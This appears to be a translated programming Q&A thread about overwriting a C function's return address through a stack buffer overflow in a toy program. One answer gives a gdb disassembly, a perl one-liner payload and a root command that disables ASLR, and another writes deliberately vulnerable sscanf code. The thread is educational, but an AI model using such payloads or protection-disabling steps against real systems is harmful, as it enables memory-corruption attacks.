C代码如何更改代码中的返回地址？

Question

我刚刚编写了如下 C 代码：

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

请建议我如何跳过 printf("\nx is 1\n"); 行。早些时候我得到的线索是修改ret变量，它是函数func的返回地址。

您能否建议我如何更改上述程序中的返回地址，以便跳过 printf("\nx is 1\n"); 。

我发布这个问题是因为我不知道如何更改退货地址。

如果你能帮我的话那就太好了。

谢谢

Answer 1

据我了解，您希望代码执行指令 x=1;，然后跳过下一个 printf，这样它只会打印 x is 0。 没有办法做到这一点。

但是，可以做的是让 func() 删除它自己的返回地址，这样代码就会直接跳转到 printf("\nx is 0\n\ n”）；。这也意味着跳过x=1;。

这是可能的，因为您将通过命令行传递的任何内容发送到 func() 并直接复制到固定大小的缓冲区。如果您尝试复制的字符串大于分配的缓冲区，您可能最终会破坏堆栈，并可能覆盖函数的返回地址。

关于这个主题，有一些很棒的书，比如 这本书，我建议您阅读他们。

在 gdb 上加载您的应用程序并反汇编 main 函数，您将看到与此类似的内容：

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

重要的是您注意到第二个 printf 调用的准备工作从地址开始0x08048449。为了覆盖 func() 的原始返回地址并使其跳转到 0x08048449，您必须写入超出 char 缓冲区的容量[24 ];。在此测试中，为了简单起见，我使用了 char buffer[6];。

在gdb中，如果我执行：

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

这将成功覆盖缓冲区并将返回地址替换为我希望它跳转到的地址：

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

我不会解释每一步，因为其他人已经这样做了它已经好多了，但是如果您想直接从命令行重现此行为，您可以执行以下命令：

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

请记住，gdb 向您报告的内存地址可能会有所不同比我得到的那些。

注意：要使此技术发挥作用，您必须首先禁用内核保护。但如果下面的命令报告任何与 0 不同的内容：

cat /proc/sys/kernel/randomize_va_space

要禁用它，您将需要超级用户访问权限：

echo 0 > /proc/sys/kernel/randomize_va_space

Answer 2

func 的返回地址位于堆栈上，靠近其局部变量（其中之一是 buffer）。如果你想覆盖返回地址，你必须写到数组的末尾（可能是 buffer[24...27] 但我可能错了 - 可能是 buffer[ 28...31] 甚至 buffer[24...31]（如果您有 64 位系统）。我建议使用调试器来找出确切的地址。

顺便说一句，去掉 ret 变量 - 拥有它你什么也做不了，而且它可能会混淆你的计算。

请注意，这种“缓冲区溢出漏洞利用”有点难以调试，因为 strcpy 在遇到零字节时会停止复制内容，而您要写入堆栈的地址可能包含这样的字节。这样做会更容易：

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

并在命令行上以十六进制字符串形式给出地址。这使得您想要做的事情更加清晰，并且更容易调试。

Answer 3

这是不可能的 - 这是可能的，如果你知道编译器及其工作原理、生成的汇编代码、使用的库、体系结构、CPU、系统环境和明天的乐透号码 - 如果你有这个知识，你足够聪明，不去问。唯一有意义的情况是当有人尝试某种攻击，并且不期望有人愿意帮助您时。